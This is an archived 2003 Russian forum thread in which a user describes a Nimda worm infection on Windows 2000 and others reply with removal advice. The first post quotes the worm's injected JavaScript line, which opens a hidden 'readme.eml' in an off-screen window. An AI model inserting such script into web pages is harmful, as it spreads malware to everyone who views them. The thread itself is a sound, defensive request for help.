Форум сетевых администраторов

Форум сетевых администраторов (http://netadmin.ws/forum/index.php)
- Локальные и глобальные сети (http://netadmin.ws/forum/forumdisplay.php?forumid=81)
-- Help! Virus... (http://netadmin.ws/forum/showthread.php?threadid=4006)

Помещено Falcon 20-01-2003 в 21:24:

Help! Virus...

Поймал я где-то вирус... Norton его обозвал как W32.Nimda.E@mm (и некоторые модификации). Действие, насколько я пока увидел, заключается в следующем:

1) в найденные html-ки на компе в конец дописывает строчку

quote:
<html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script></html>

2) в этой же папке с html-ей появляется двухмеговый скрытый readme.eml
3) постоянно ставит в настройках папки, чтобы не показывались разрешения, скрытые файлы (винда 2k)
4) после ребута расшаривает сидюки (обычные харды не трогает)

Наверняка делает что-то еще, но я не заметил...

Никто не встречал такой шняги? Если да, то что можно с этим сделать и чего еще можно ждать? В этом readme.eml какая-то фигня написана, большая часть текста - просто автозаполнение (АААААААААА... на 2 мега)... Я сегодня у себя таких 400 штук нашел - а то все гадал, куда место улетучивается...

Помещено nanut 21-01-2003 в 05:21:

здесь почитать не пробовали =www.viruslist.com
+ еще здесь прогуляться =www.yandex.ru/yandsearch?rpt=rad&text=W32.Nimda.E

Помещено NitrogeN 21-01-2003 в 07:15:

[Совет дня =)

ЛЕЧИТЕСЬ!

Оптимальный вариант бутнуться с другого винта и лечить зараженный. Так как иногда "самолечение" (т.е. лечение с больного винта) не спасает.

Желаю удачи в борьбе с этой гадостью!

__________________
Прицел, это то же чья-то точка зрения

Помещено Falcon 21-01-2003 в 14:16:

спасибо, вроде помогло... правда, сидюки шарятся и скрытые файлы постоянно скрываются (как и расширения)... бум лечить

Помещено Booch 18-02-2003 в 19:36:

леченье есть.
каспеский его не видит. Он тебе по мылу пришел да? безобидная гадость ...
этот вирус и у меня был, если его с другой стороны прочитать то получиться "админ"
так вот на касперском сайте, там вобщем написано как его лечить я щас не помню

__________________
No pasaram!

Помещено MagosTek 05-03-2003 в 20:17:

takyy gadost i videl cherez ms-dos schistil... tam naxoditsia v recycle bin i chistish ..obnavliai dannie s nortona i zanovo scan ..cherez safe mode .. a tak I predpochitay F-secure ..klasnaia vesh ...

__________________
..:<------nothing is real------>:..

Формат времени GMT. Текущее время 04:09.

Показаны 6 сообщений на этой странице